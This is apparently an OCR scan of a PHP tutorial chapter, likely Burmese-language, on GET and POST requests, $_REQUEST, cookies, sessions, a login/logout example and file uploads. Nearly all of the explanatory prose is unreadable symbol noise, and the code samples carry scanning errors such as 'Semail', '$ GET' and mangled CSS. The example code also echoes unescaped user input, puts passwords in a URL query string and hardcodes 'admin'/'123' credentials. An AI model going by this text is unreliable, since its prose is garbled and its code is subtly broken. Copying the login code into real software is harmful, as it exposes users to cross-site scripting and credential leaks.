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sS: login.php Dyw: HTML se(pp?se$es:ooo[B: <body> soc: 3 PHP Code 
60209 09:090009296:60:0]i 


«?php 
Semail = $ GET['email']; 
$password = $ GET['password']; 


if (Semail && Spassword) 
echo "Hello, you have provided «b»$email«/b» as your login ID ", 
"and your password is «b»$password«/b»."; 
else 
echo "Login ID or password missing! ", 
"Please «a href='index.php'>try again</a>."; 





Be 


0620968390305 Login Form go Email š Password cogos: |ô: Submit Button o? Sfl 9 
(Eo) 9o c03[9009:000%$ qu3q|:% 9§992[go0lo0051 
«7, Try Login - Mozilla Firefox 
¡E Try Login EM 
4 P localhost/auth/login.php?: eug-*x-.-9- 


Hello, you have provided test@gmail.com as your login ID and 
your password is 123abc45. 





9 (6-0) Request From Login Form 
Browser oocoo[ocso qasos URL Bar o? ooo9(aj(o299 oi URL 0605 səəco[ešesàco cooSi 
http://localhost/auth/login.php ?email=test%40gmail.com&password=123abc45 
. ç . c Q c e o c IN 
login.php 6400590 Query String 026900 aac932ecopo30lo6 es 0220? eco.Se»(8$olo»o5u 
name- "email" ca 0003903000:02 Input $o test@gmail.com ca q030005303320205 Query 
String go email=test%40gmail.com 8030086: ologegooln name="password" co 2905905 


> o € CNN çO o IN IN c c o Sos IN 
oo»:02 Input 9405009980} oo$4Q:0?copo: eo Query Value moss BICYSASAQINADOVOAD 
0099996:60:000:0lo»o5i 
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man 1: We 020930026360 Space š O00 ecia aracter comes rowser m ign o? 
eo5a|o5 u u Web URL 05$93205:90 Space à coda), Special Character eog02co09eàc9 B e Sign o? 
240 ca 32$ Encode aseo: 02000 o vlos sə[eo: Special Character 033902030095: R Code 
S o e ç ¢ O 0 CO C oc e c Ç c o [d ° € S 
š EVE 09|$6025030205905 o?6og0$e[5 Q6: eo? (922240609 05c9 0093036:905000:06§ 013.6079 Form 
Value cooo Browser oo 20000 Encode aseo: ol fosi ordslord¢, e[ešəcs 0203026 Encode 0708 
SəOcoogc coo: urlencode unction o53ooS5:|o|&ColosooÉ!I urlencode unction M co:cooo3 
Asma: PHP À url de () Function o2səo5:[o|&ColoooSi url de () Funct à 
URL 099 32096:00 Special Character cooo Asma Encode sf: (9$e0:&60lo»oóu 


° Ç 


Form oəoóəcoə5esooo5eo:c9o5[əG:səo: G səo5:[o|oooo Query String o? URL 920205096 AS 


N 


Opec? coo! Form go 02§8:6020093036:60:0805058, Browser oo səcoco Query String s [e° 
ç r° e ` e ç ` ° e e e 
elgoc:(8: Request a7060:090:07 ooeooo[s$olo»oóu G€:920:000:02 Code o? so03co03ec9coo[c2990] 
e 
ed 


Semail = $ GET['email']; 
Spassword = $ GET['password']; 


echo "Hello, you have provided <b>Semail</b> as your login ID ", 
"and your password is <b>Spassword</b>."; 
else 
echo "Login ID or password missing! ", 
"Please <a href='index.php'>try again</a>."; 





I if ($email && Spassword) 


Form Input go 00p2996:000:0? 02§8:60202 Query String sa[gde[Goé:05030:(8:(6608 60:9co20? 





co 3 ` ` c y co < € o 
02§G:60202 $ GET Variable cógo Array 00033654 espo$8es e»(s9olo»ou ocoecpC:go $ GET 
` . ° ^ co. 0 i ` x92 ç < ° <ç ç < < 
Array Ì email Index y 465020240:0? $email Variable ò 0o99256:60:09090loo03i 30030005 
(8: Spassword Variable DRs: $_GET Array €, password Index 90903028 8:8 2003902 
copsogé: olor 


yaa u u Query String àoloCcooo> 02§8:¢0203 PHP oo $ GET Superglobal Variable cbeo 302260092996: 





coo:oo:e[o2oC:eeo[oƏoloooSi so:cooScooSesəoCo[oocoo5ooooli səəešeooo Query String 8 $ GET Variable à 
c005$000609050lop: I URL Bar $o URL 02990009296: ose: GET Request 099 (31099 c9o9(86: (esol 
00051 Method 390920905908 2000366 GET o» Default Method (s$olooo$u ooap5:səo: Sç GET Request 
Method à o36030lo6coo0200$08:6098 $ GET Variable òg woso: eo: fsi: [sosu fos 


ep2 og $email à Spassword $6900}3:q002§8:c02Gege[OIE: eaognpessré if() ¿o 


n On 


Sol IN co o coo SO €, n Š ` ç Q o < 
eso: molan ODS GzGOQAPDOGeSsodapgce "Hello, šəəo[o|o> Message 00090) qQ020905 
o ° n Q e c co ° IN > 
3€:000:(8: $email eN Spassword 0209990 0040:602$665«66022 else Block goeq:000:03 
"Login ID or password missing!" 390(3|03 Message B§}.030005$6:000;(86:(gd0los051 o:a 

* ° ç ec O * IN ` IN ° (Q c C x—[°. ° < IN IN 
329699 QONA qp3680232090? Comma lê: aóc[oooc:Ə Ó: ASS ooon echo 
Keyword à co: (2:qj0902$9 0hi efons: o3:6co:e[o256:02 MANN: 0964 94090 o): 


o ° (Q ` co c IN oc IN 
(9000:004$ Comma à(8: 03800380? oa: ¿colon 
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e IN if St t t Sa : C SPE E FRIES, o 279 ;l ç ç. S 
ga ú ú if Statemen səc|O2oC: cooo 3909: 206896: (G8echeor709: cooosoo on a$: (ç) y como) 


JavaScript i £ Statement e«:220:08 320:09:3202020(590lo»o5u 
09090502 Message ceogoógo HTML Element eog09cop9: 0o0p$996:000:000020009(9|8900lu 
š IN 9. il o e d e S.A K<. o ` | ç ` M 
320R: [6$ səo>:[oloooo email 9960900 passwor cop9996:3[86:e$02329 eo3(9o? essage eo 
: Q x oc °. ° ç ° ` : e e C e 
try again apo} 320€:600:0? index.php 0? L$: Rà Link (893026 <a> Element 00033 cop 
IN ç : e .0 € ere e e e o en 
036:60:000:0100051 Form o email, password (oral: OGD O5C0O009ocop2Ó 
Submit Button §5{6:06:006 (ma color 


6.11 - POST Requests 

ssa |: index.php go @q:000:000:03 «form» e, method o? post c9e(oo6:(8:6:(020925$0l 
ç 

coo 


<form action="login.php" method="post"> 
<label for="email">Email (or) User ID</label><br> 
<input type="text" name="email" id="email"><br> 





<label for="password">Password</label><br> 
<input type="password" name="password" id="password"><br><br> 


<input type="submit" value="Login"> 
</form> 


Request Method elooc:030:[88 login.php ANA: 39 05:0 05{G[(GE8csadclos05u 


<?php 
Semail = $_POST['email']; 
Spassword = $ POST['password']; 


if (Semail && Spassword) 
echo "Hello, you have provided «b»$email«/b» as your login ID ", 
"and your password is <b>$password</b>."; 
else 
echo "Login ID or password missing! ", 
"Please «a href='index.php'>try again</a>."; 
Le 





$ GET Variable 39e»: $ POST Variable şefi: ða: (geo o9(8 6 (59 0lo»o3 n PHP o» Request 





Method GET &o36030lo$coo0? 02§G:60208 $ GET Superglobal à coo$8ooo:co:(8: Request 
Method POST à o36030lo6co»0? 02§8:60203c0>) $ POST Superglobal à c2036000:60:02320209 

c ;| IN e e ee c c ç <Ç € c So oc IN IN c c 
[dolos [igen s: e8:229(0299«6 nas: poan an hao: soošcoossəcoOcoóoopono: 
02008 603.992[80los051 
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ooc o 


oo: [8»:qj094 $9 golooo5u Form Method o» post (89559:03320505 Submit Button NROYIN 
login.php o? capos gogz: oas] Query String oloécoo(s6:e$60290lop: v POST Request cozgo 
cops: org Su PHAR ak ani Ste (ee ce h Uy: String epe 
qo 0op9996:eco9[960220 Request Body 32684 eo: ĝo: [e c: [sóoloooši Submit Button &ocooco 
login.php o? conejo) 239/99 Keyborad mes FS 30/98: 6070 [90[901 URL Bar o» Reload 
Button o? 8Ó(9: eoo? (9590 Document o? Refresh coóc9030235sl Q (6-4) gewoon: 9008 
Confirm Message 0209 ales 


E Try Login | + 
< localhost/auth/login.php e] g - |= al | 


Hello, you have provided test@gmail.com as your login ID and your 
password is 123456. 


", Confirm 


o To display this page, Firefox must send information that will repeat any action (such as a search 
or order confirmation) that was performed earlier. 


Cancel į Resend | 


Š (6-4) POST Confirmation 


. o > co ° > IN o eme e co 
index.php 00 €0:0000020080:609 $6802320209 Document o» Reload coO(sé:aoo:i [s< 02$0:609 
o o c crog o c e o IN c ;| IN o 

o» Server o? 8002009 (03860:925:9»(s9 (0226: 3209eo:[s6:(890 on Request Data cozgegco 

eo? səo>:[o|oooo e(86q023»0905 eooqpesso6 Confirm coóoyoseosoàee:ooo[eëoloooŠi mo: [oja 

oo Resend Button o? ¿09000 Server o? Data coo enn (ae co:0/0: Document ANA: Reload 

coÓco:oəo:eo [ešoloooŠi 
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6.12 - $ REQUEST Superglobal 


Request &22050lo$cooo? ooš@:eoəo2 Method eà(s»:0 c2056000:60:00202600? $ REQUEST Super 














global [ešoloooŠi goeo - (8:303g@$000 login.php o? səəco[oCeg: qe cops: 32096090 00i 


«?php 
Semail = $ REQUEST['email']; 
$password = $ REQUEST['password']; 


if ($email && Spassword) 
echo "Hello, you have provided «b»$email«/b» as your login ID ", 
"and your password is «b»$password«/b»."; 
else 
echo "Login ID or password missing! ", 
"Please «a href='index.php'>try again</a>."; 





?22 





GET Request eo243205026030lo6coo0? o»$9:e0900 $ GET Superglobal oàgo Qesooco POST 
> ` IN ç > co > ° c IN 

Request co94320? o30030lo$coo0? 02$0:60900 $ POST Superglobal o59o Ses e»(s$olo»oóu zleo 

eo? PUT, DELETE oo) so [so: Method qp:&eo:Qo»»o? Request Value eo209602 23:(80:020386o: 














o> Variable egologs1 s3leoeo? $ REQUEST Superglobal o» Method eà(s»:0 coo$8eo:c9 PUT, 
DELETE 003 Method qp:à obeoosoəo5: (9 ¿colon 


6.13 - Cookie and Session 
HTTP ooo Pull Technology oo$qj:(s9(8: Stateless 222220cop3:9e[0226:0? mes: (9) y efeso] 
IN C VN IN IN IN o : ç (8 Sos 
oooài Pull Technology (8903250205 so02090590? Client mam oo»6q(8:i Stateless oooooo(s$0? 
IN ç IN Ce oC croc C. c ° ° ç e e ° c 
320502 80030305 o»9 [0383029 [098000 sosopo Aolo: Ssəoošsəososc|o2oç 3905:(0|9900 000 
OQ. crog Q 0 * IN IN e e IN I oq c oc IN ere 
(43005036 €0:00902 Dame omo sale: Request ondo asos: ordalood(3: 
0099996:60:08 c9320900li poe - Website 029900 32d] :220:1 324|:228:00? 3905;(G1994 03p:/e 
ere IN IN o e Q IN ° ^o ° ° 
saclasecs eol eoop9(9: 399/05 32000960909 e53(0c90009 ol səo>:[o|oooo aun ap: (a3) e 
c e o o € c IN croc oe e e IN 
(S39e(o326: eo:Qe Server oo 2386qeo [eëóoloooSi ooé(09623(8:«6cop3: Server o» əo5oso:coo:go 
ç O c Q IN crog 10 o ç CN | 
ena (Stateless (S965 c9) enn ae 393 Document o» Request [0409003395 oqp:coo:! e 
° ^N 


IN crog c o e IN IN ¡A ES c c c oec e 
CO: @§203006[036 000329960:q0lB:e03i G20 musgos Request OOO QOC: 307290 


3o c IN c ç 25 c j| c j| .8 c ;| € 
q[0232c002020902p2:090 0009310009 60:99 (S90 ODOOll 


Sponges: Cookie 39095403 §29209000004]1308 HTTP $o 030050095036:60:000:0]0005 1 
Cookie 20) səcs[səco| ux Magic Cookie esto? 8003020564}: $09? 0990000 gS eg s0€:0005009 
< c ç - > eoe Cx e ° c e ç ° 
(86:(630] 00031 eco Magic Cookie s»ep50?090968op00o c0:0«pog0909:9$006$ Sasco: 
$0509: q39qolo»ou à (6-0) so Cookie 300A, @c0390(9 005080780903 396$39000:0069503 eo5(p 
ooo:0looo3i 03207 09:000:9«p 3eqJo$32coo9e009 escolar: 09$60023200622092209 [gdol 
€ 
onu 
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Much Better The Origin 
of the name 


PP i HTTP Cookie 
N 


9 (G-0) The Origin of the name HTTP Cookie 





Cookie so3:oosooosə Silo à Web Browser ¿2202 339|0539000560203005086:3005: oR cool 
I e ist ka $R PA 0308 Ee à 
ono Server o? Request od036: 088:3005:000:03 9g|033a000360303 Request à 320} Browser oo 
200) səccoposo2eoscooo 036:602030:99(860l00051 slefox2¢ opp803a9q]0539c00560208 codalcodal 
60: 080903 398] Cookie 90086: sop5:coo:coo5obolo 1 Browser o» Request op036: copso36:e0: 
deso a: [b|oooo Request co20590 codsloodsl Badoxécoa5a96;(8: Server o? c0:0698 e 
c932660090 lop: 

e enc ç Q x ` e e 
: e»(89$eoeo3(94c29360:90? Respond ¿3207 329/0320) 
° ç oc e ` ç e e o 
:6 eəs[e2o:8ColoooŠi 6420992 024 99:006:00 Solu 


° . c oc 
coo Browser Cookie afes: 26 


setcookie ("gender", "male"); 


setcookie () Function soos: [o 8: gender="male" 20) Cookie 00$8:009 9003903600905 96: 
Sel Sii al ç coc Q x oc m" "n ALAS c 
[ešoloooŠi alejado 6800396: Browser 02e0:902 Request o36:@9 gender="male" «9020048: 000 
NOD c ç IN e : > e ` IN orre o0 

9 so[B030030loóeseo ([s60loooà! Cookie ooo Request ¿30 oloócooo)seqjo?secoo?[s9 c9 
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$ REQUEST Superglobal cBgoao[so: Request Data co9à320? Cookie 02§8:602 cog3:0260900p98l64 
sóc u Sen) (shel PHP oo Cookie Data cooo $ COOKIE co 39095403 @§203005 Superglobal 
Variable oo$9&cop9: Afp: co:coo:oleos:oooSi sle og|$eo050? Code ade Cookie 
02$0:6090? 32909 qo» $6 go(s$0looo5i 





$sex = $ COOKIE["gender"]; 


if (Ssex == "male") { 
// do something 
} else { 


// do something 
} 








Request o6coooooà Cookie o»$9:eo900 $ COOKIE Superglobal adgo§eggo{gdo8 $ COOKIE à 

co Q : x O ç e O cQ [e] e o IN e e e 
gender Index a000§@:0) $sex Variable cdaBcopsogé:60:08.03(8: Q$32025C990050005 eag 
co(3é: (GScloo05u 


0003903000: (8:220: Cookie 00§8:03 (\(Géc8qé setcookie () Function o? 6§009006(036 3905; 


O Ç ° M 
ooo lò peer = 
setcookie("gender", "m"); 


9 ç eras ç C Oe e ç o ç Sony 
CQYSHOOIOIO|MNODIOIQOCIO OIC QCooo$0: gender="male" ME gender="m" s [e° e(oo6:c5 
ç ; IN : e oc. ç o ç o, e. C I : : e uS 
03026090860 ooo3l Cookie so [eeo58:soo5:@ OD2$Q:GO2OD5O0QO0O232S Expire Time RRC: 
IN $28.5] ç Qg ç ` : co ç oc O co ` E c. 
9502902&CO!O0ODIl 900238092009: 02 Cookie OG Q202D NARAON 4] SG GOOCO o003903eo:(86: 
c IN : : Q f : ç 005 AS Oo coc ç 

edol Expire Time op setcookie() Function 9? 0299l0203:0200560:c905&60looo5u P09? - 





setcookie ("gender", "female", time() + 3600); 


Cookie Name š Cookie Value esoo$eo 02030000§$:s0(96 Expire Time o9 oop9eo:qooooli 
time() Function o»60:c000? vas, Timestamp o? 3600 &6016:60:000:0320209 8 Cookie 
c iN c e c e co c ç c e c c 
000 68002000 o92$60l6: Goo (000304) Sies eo(s$olooo3 u Spe eo Browser oo 
° ç ç Co c . . ° c e c ec o ç Co c e ° 
səcosəcco[po2ooŠ JSR pol Expire Time 0? g0500Q20105 o»90lo3c922099 0909 q6 cops: 29% 
990390386 0los051 





setcookie ("gender", "female", time() + 60 * 60 * 24 * 7); 


moldeo HHGLIE:0Q2§ 396959020303 02050260505q]09e6$60»?0 PHP 020 og05q1053E:0805 
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e iN c.e Q < ç Q Ç GC - < c iN < ° co 
(as: [eŠoloooSi $c52205905c909«6600? Cookie ooo 69205008 oosóolo5osoooocosəcO o»p3$les eoqo 

c ç € < ° 3 co o ç Ç Ox ° 
[solos 3leoeo? odgajan Cookie o»48:6020? 091$6023094, App ooosoeoo səo>:[o|oo 

< e.oc ç „OCA ` ç Ca, 2298 Q 

0o aps: qob golos Web Browser oo Cookie óëšéo Extension 6020003296:(8: OCA! 
3905380: 32094 Browser e029o0lo? "Clear Private Data" Option o?o»:(8: Cookie 60303 00 qa 
¿coloooón ale(o206 3905:(G;9902.2005qjo5e@a09 age ooosococoo:o>osocosocO maes: 
soon ooSq|jocjeoSsoeccoo5: 2205905 00005603696 oo5q|o5aCoo[eóoloooŠi 


setcookie () Function go Expire Time o9 o0p9996:e22099093«66009 Cookie o5$8:602000 
co ° ` e e Ç e co ere oco Ç ` 
coo$Q soo5:[oleso> Browser eçcoo:ose@|jooóccopoco:ooo5Seseo[eó[Š: Browser dom š 
: ceo o IN c IN e e e ç ° : > 
Cookie 00§8: eogo?cop3: oo90looo3: oo5q|jo5oəo:eo[8ëoloooSi co Cookie ooo Browser à 
` c oc ° ° jl : ` ° ç oq e ` : 
03009090:0200) woo Firefox Web Browser š 3905:(0}05086:9095:000:03 Cookie ooo Google 
Chrome š ne 003250390e05050lop: 1 
Cookie 02§8:60203 oo3qjo$e»c9q6 setcookie() Function o90 səojb:[o[Š: Expire Time o? 
Minus à eo:c9o9qoloooSi Sobol - 


setcookie("gender", "", time() - 3600); 





oo S:3əo: [96 3 Cookie o» $805 omácolé: boo MMS: mamá: $(6:(690205 8 
$SS 39997 : 2 p? aS g 


o» 
Browser o? 390860:0903(86:(8 6000051 3 e(o206 3 Respond o? AI Browser o» Cookie 
ç e o 


o? qio(s6: oo3qjo$c903eooli 


Cookie à 25620000«p:0202 6$003409:092202990060»2 Session (s$60looo3i Request 4320? soñó 
(36 e e Oo 0 * IN IN o : c S. oc IN QS | IN 

OBS o0p9096:60:8c90? seqjo$secoo9e090? Session Data sa{gdcop5: 236:90p9:000:&60loooóu 
oo: [8:310502 602 Session Data 603203 Web Server ço 086:a005;(86:(ga(8: Browser oo Session ID 
coes[o> Access Token 02200236:s0p9:0lo»o3i Request coócoo5opsəə] Session ID o» Request š 
3202 o36090lo629»:90 [eolo Web Server o» 233 Token 03 səo>:[o[6: 236:50p9:00o:0) 


Session Data 60303 quo 8 C oo [ešoloooSi 


Cookie à Session ooo 00600000 p:32o: keo: səc[ešooo[eo:a|o° 093 QoloooŠš!i ocoecoóa|o5 
026002 eE: fdo: Cookie 02§$:602029 Browser ¿3202 03005036:8095:(8: Session 02§8: 
602026002 Web Server ¿3202 03005086:a005;(86:(gdclos051 68003009q|09006002 Cookie m oo 
60209200 oo$8:3»[69co038 $ (8: Session meo Server-side qgoo58:0oo[89 c9 ooao»[p6 PHP 
Variable eo9& Object eoo Rol 00038086:a095:000:86 oloasi 6800989:0068[03006002 Cookie ong 
8:60208 Expire Time 9905905000:60: 8660009 Session 0048: 60290 Expire Time 900390300: 0%0 
qolop: u Browser (9G000:305909 02§8:602965 e»[s9(8: Browser 8050805 Qê Session 048: cop 


œp: ooo5eqpo5ooo:eo[eóolooo II 
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>» . IN IN c 0 ceo € L ceo E 
Cookie š Session 9o 320:0009/M320: $: B0S8§{a90le00:000511 Cookie 02§@:60209 Client- 
side (S603 Browser eoQescooƏ Request 095036: 33802§G:60208 cop?996:(8: 0986s qc9 Client- 
Server so03950393o[8 sgg: eol asepo RSs Session 006002 Server-side Q200: S[poooso 

o ç > co o ç ^ 2 ° `o ç o 
o ĝelo: i SleoeoS Session 0240:60209 Server aq odos, Storage 3905:(01(§:086:s095:908 
səo>:[o|opap: coooooà sy Server eo o$(S$co»eo&6olo»o5u Cookie meon 3905;(6|99 029204:Q 
cops: 329|0932c0056020? Browser 02920$:90 3036: 000:0208 S Lango eof lop: v G6:050:29 
Developer à s: [903/05 200 s8oay(8: o$sadqj05§s008 eg:qjo93oo»:[pj$6 olos05 1 





session_start () Function ooesloocooooooà PHP oo Session oo$0:300:0:09 $ SESSION & 
e e ç e : co ° 0. O OC : : 
0099996:000:60:0lo»o3i sls[ozoç Session oo$0:eo909q40598c9096: session start () Function 
T " ;| ç : co 008 o e coc ;| e 
eal’ ooco:goloooŠi Session 02§8:60203 9coooo5eo5 ¿colon 


session_start (); 
$ SESSION["gender"] = "male"; 








session_start () Function o$eslop(0:oooà $ SESSION Superglobal à, Index 002050 
ç Ç OQ x co Oo co e e e O Ç e e ç f x 0 co e Ç x 
oop9o96:c90200$0: o909q0900p9o96:0909(86: [sóoloooSI setcookie() 0303 0049:22099090) 


ç 


° OSA oc ; 
C20 qopéco!ooool 


Function 0209 08: (90: ec$aadolop2n Session 048:602 [Lu ¿o: 332 


session_start (); 
$sex = $ SESSION["gender"]; 


if($sex == "male") { 
// do something 
) else ( 


// do something 
) 


Session 02§$:0005g030$0200(G6[G61 quaa: on [soles session_start () Function o? 

° ° IN ; - ° o Cr < " š co ° 

3:0: es[looco:qoloooSu session_start () Function Resla: "Session oo$0:60202 

@ o Cun, Oo ` IN IN : co ç eo c o IN coc 

$60leo»2e05 c9 c[oo[Soo>oocooo[eecloooSi Session o»$9:eogoo3qJo$c9 «6600? səəc9Əoo5qJo58Col 
IN 

Od05II 


session_start (); 
unset( $ SESSION["gender"] ); 





“ O e IN e : c o < 
unset () Function o? o5:000:0lo»o3i 32986009 unset () Function oo Array Index 0009 e003 
Variable 029909 osgo eoio: o) Function [ešoloooŠi Session 0$8:900050l07:1 seo: 
Array à Variable 60203 oo9qjo9c90$eocoq6 copo: unset () aro gcoloa 
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6.14 - User Login Example 
ç ç O IN IN CNN : ° : ° ° 
Jeo Request coo ccocoopóooooopoesooo58o User Login $9406co:0? Session 3905;(0)(8: 
ç c IN : Soc x c c c IN IN c ç S IN e ç o IN c 
32950000005 Login océco? 0860599 eses 6999 o9(p293q6olo» oou RCON Peca 
coo$e auth Folder oa index.php Y) QC06€|:220:000:0006023290: 60:000:028940à 02:093200: 
o 


09: 040011 


<?php 

session_start (); 

Sauth = isset($ SESSION['auth']); 
?> 





<!doctype html> 
<html> 
<head> 
<title>Home Page</title> 
<style> 
pody 4 
background: #efefef; 
Fonte =kam bys au ates 
Color: 43997 
j 





#wrap ( 
width: 500px; 
padding: 20px; 
margin: 10px auto; 
border: 4px solid #ddd; 
background: #fff; 

} 


lad seat 
margin: 0 0 20px 0; 
padding: 0000: 07 
border-bottom: 1px solid #ddd; 
} 


input [type=text], input[type-password] í 
display: block; 
margin-bottom: 10px; 


) 


.msg { 
width: 500px; 
background: #ffd; 
border: 2px solid #dda; 
text-align: center; 
margin: 10px auto; 
font=size: 13px; 
padding: 6px; 

i 

</style> 
</head> 
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«body» 
<div id="wrap"> 
<?php if(Sauth) ( ?> 


<hl>Welcome to My Website</h1> 
<p>You see this because you are an authenticated user. Congratulation!</p> 


<b><?php echo $ SESSION['id'] ?></b> 
<a href="logout.php">Logout</a> 





<?php ) else { ?> 


<hl>You need to login</h1> 

<form action="login.php" method="post"> 
<label for="id">User ID</label> 
<input type="text" name="id" id="id"> 


<label for="password">Password</label> 
<input type="password" name="password" id="password"> 


<input type="submit" value="Login"> 
</form> 


<?php } ?> 
</div> 
</body> 
</html> 


. . ° IN Sos ° c Q Ç o s 
session_start () Function o? Document səo2C:eooloCo> Content cogabsacgdecp6a6 3:a5:e0T 
02808 39009 Document seco! 20:90 eal apolo (8:6029 $ SESSION Variable o» auth 
Index Qo5coo:s0oooo2 isset () Function &o$6s0:0looo$: isset () Function oo Array Index 070 

Q IN . c o c ` : c jl IN is o o 
9 emo Variable 0209 fono: oëGso:Go:o Function (950 on auth Index oso agsacpapeor? 
° e ;| ° : : ° e e IN ç ce o IN IN o 
Qeseoeooo olas: səo5:[o|opoo Login Information o9 e$eseoó[sp9€ 09/$60230200250390$ co: 
qp5go9ooo:(s6:(69 olo»oSu 02528:2322: [96 Login 0600019220 $ SESSION ÒQ auth Index Ses 


(s9(8:: ooon: q fesgremoolo: II 








<body> 39026399 Content o? &9q|:3(so:ec3(o000:0lo»o5u Login 06000:99320209 Welcome 
Message olo6o3 Content o?eoS(pooo:(8:i Login eo6000:99qp:096002 Login Form o»99663(060:90 
[ešoloooŠi 263 Browser ooes http://localhost/auth/ doc[maas Login Form 0299020609 qqoolu 
sonas: login.php 99 QO AEON: €0:000:0? Code cooà 093023900:08: odoli 
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«?php 
session start(); 
gud OS ian], 
$password = $ POST['password']; 


if ($id == "admin" && Spassword == "123") Í 
$ SESSION['auth'] = true; 
$ SESSION [ 'id'] = "Admin"; 





} 


header ("location: index.php"); 
222 


login.php 9o HTML e0260lo660»90log:u PHP Code q[p9:22092209(890lo»o5u index.php 0o 
60:800003 id à passwordo? $ POST Variable ooooŠsoÇ goocooooloooi (8:60099 id oo admin, 





password oo 123 02039400000:096s0:0lo» 03i 020394 0005«960029 $ SESSION à auth Index 


O x co ç o. ro. . . os e IN o € IN 
92 true 3902029 9202009 eo:0805(8: id Index 9260»? Admin $9902320p20? oop960:c9oS0loo ou 


o 


J header ("location: index.php"); 
- $3289lo5026009 index.php o? səcosəccopoo Redirect 09636: 0803[96:(Gd0lo0051 slefox0¢ > 

Y e e ` e Q x e ere ` i ° ° e co 
3260 92 9909909009: 0? CO0O0O6D8]O232C0OGO2 096(8:030: 0208 index.php o? Sacp3accopoo (049 
eo: olosi 

ç c IN ij c e e ` o ° e e ç 

Qo3quo5 i u Document o2693209€:90 692990200020) ÖC ICZ aoo»:[9|og0? eoS(9qeo? Saqjo?eoge 
olói asea ggs: ði HTML eo opseg opo olo: login.php 4 2909009003] id à 
password o? $o9[s6: 32013306 asopo coO(8:020& index.php o? səcosəccopo (8$932:90011 aoo»: [o| 
990? evos a»e(n356:3»«p 0699 eololog:i sle login.php 0? eq:o>səs] HTML sozevló PHP Code 


IN IN S.A < c 5 ç 
S50225O28|o2:O G6]: 202: 002; acs (S90 ONOS II 


98:050 [02020320205 Browser URL Bar 99 http://localhost/auth/ Vei: Roi Login Form 
c > o o oc IN n Q IN IN 
eo3(pes o? Document Ragga User ID Box 9o admin c8cop5az6é:0l Password Box 9o 
oo € ere : oog O Ç x : ° ç PE- Q Oo C * 
123 dc: Login Button R&Scho5o3a081 login.php Repoz: 8005 G0:090202 





3aqjo932coo? 940) 320905 login.php M $ SESSION 02$0:6092209909(8: index.php o? 200) 





sepa (0§8030:01088005 index.php o? (¿pearl $ SESSION['auth'] Ses 
(8 (89-9 Login Form səeo: Welcome Message o9? eo? [ec qgoo(s90lo»o5 v 


Logout (090908 6608300205 logout.php O9co93:6q1 220160: qol: oS auth Folder cdgod 
O x 


logout.php NDS Script 0289022062020001 (8:96 60:000:03 Code o? 09:09 (505256:60:0li 
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<?php 
session start(); 
unset($ SESSION['auth']); 
unset ($ SESSION['id']); 
header ("location: index.php"); 
2> 








logout .php a 09:09:6026026090l0: I $ SESSION 02$0:609009qjo9c9093(8: index.php o? bš 
x fox e Q < : 908. S coe 79 
999:6007 3209009009060:c9090000]i Logout Link o? 8O(9:06: (3088éolB 


<", Home Page - Mozilla Firefox 


[3] Home Page ik 


4 localhost/auth/index.php ANDE AI AIR E 


Welcome to My Website 


You see this because you are an authenticated user. Congratulation! 


Admin Logout 





9 (8-6) Login Example 


o c : ce Oo > . c ° ° IN € s c e IN C20 0 
sagapgce Login/Logout 9090 Script 02899932 0181 0290002 Login o»06sooCqjo? (6256838 
gé Remember Login cpdesos€qjo5e031 Forget Password co96soo6qJo$ecg! Login 3293 22005 
60303 Register Database cozodo 40200600: 0309Ó6300C3/Mq|: coo c93209:900li 


6.15 - File Upload 

320»: [9|o922050260:00 0902320932 0505 602000 30qp: 30m: [es Text coo[eóooclu aleou a 
File co203 copsogé:e0:8qe0Sa8qEcop5: co:0aColoooŠi File Upload coóoooSc9 eəl[oo2oloooŠi File 
Upload (9]099868 HTML Form go (sg ceso OoloooŠi sagaocoeo[oco:coosoloooŠ - 


<form action="upload.php" method="post" enctype="multipart/form-data"> 
<input type="file" name="photo"> 
<input type="submit" value="Upload"> 

</form> 


File 60303 0009996:60:08 60 «input type-"file"» Element o? soos: [oqo $ Element 
cop? o96:c9090008 Browser oo File eg:c9qo? Option 029960:900]i soos: [o| Browser cole 
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° ere o ç : o ^ c iN < ` - C Q C x 
(8: @95(G607286e0:005 File cg: 9909 cooesooc8|o5oocooo 90702010 Form Submit oyoo) 
səl cg:a|joSeo:coo:o File o? Server có 0099996:60:0990:90 [ešoloooši 


<form> Element mala lmpol File cop 0009996:60:060096 0989 $6 Method oo POST (95901 
cone GET Method o? soos: (ojcoeqolop:u (8:602 enctype Attribute oloc(8: Value 32658 
. Q ° IN IN € e . ° o > 
multipart/form-data QQ 390339071000590360: 40109051 3 Attribute o> Server Op GO:OCO0O9 
c IN : IN e : IN IN o IN 
328[0332c00260990 2602020 Binary Data coo (02$ 09:390: [66 File oz) oloce[o2oC:səo5co: ec: 
c IN : IN ` ° 00/9 Q c 0007 o 
[ešoloooŠi algo Server oo File sozulogcon0 Request 602030898: c932022c98660:$6 gooli 


<input type="file"> 


| Choose File No file chosen 





9 (G-o) Firefox $$ Chrome o9006 File Input eo5(po 


PHP wps: Request ¿3202 oloécooo? File eogoloécos(8a8q61 sa :[ojooo:o) Method o» POST 
(8$e$eoeo? File oowoo amwoe S POST Superglobal càgoespeooo:ó $ FILES 





Superglobal à 08: (80: 0099036:000:60:0]o005 1 
<input type="file" name="photo"> 


$_FILES["photo"] = array( 
"name" => "photol23.png", 


"type" => "image/png", 
"size" => "561513", 

"error" => "0", 

"tmp name" => /tmp/phpCMKIn9 








9 (8-20) $ FILES Superglobal 
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o > : ` c CN c c o . ore 
GO:OCOOO2 File &002250509 393[0232C0006090? name, type, size, error, tmp name 388: 
Index (9) 90lo6o? Array sə[eŠ $ FILES Superglobal c39o99p9:co:cooi(s6: [gdcloraS name 

Q M . x` ç c ç . O , . 
006002 GO:Ocoooo File e, gaso esolo type 0026002 File 39q/|:3900:011 size men File 
. ° >b ç IN c IN : : o cr ° e s 
Size o» Byte š coeo[ocoo: ss: [sëoloooSi error 90co»o File Size o9ó[o2:es [e Connection 
So c IN c c c IN Ce 012€, > ox C IN š 50] IN 
(92224002$$02$«e(0226029003029qJ0$2»2c0098 q9(86: 00? Error eo288q6 eo3(9eo:eo(s90 ooo 
c ` : ° co Ce OC IN ` 
tmp_name meo Upload (e]a3600:0> File a) co054 Server oo 00038956:8090:60:000:03 





ooo5esep[eóoloooši 


dd ú ú Form Submit coócoo5coošà File Upload asco monio: peol ag|§cor50300 File 
9 al L o š P L š e 1 d^ me 3 
eres e C, € ç ° 9 - IL eas " 
Upload coo [86:900 4:090 ocolospeciolos: I 603900003 File o? Web Server š PHP oo a»c?32ecopo?coo?8 
° PM AA Oc. e. PM Oc. IN MSIE SE o o Q 9 Qo x 
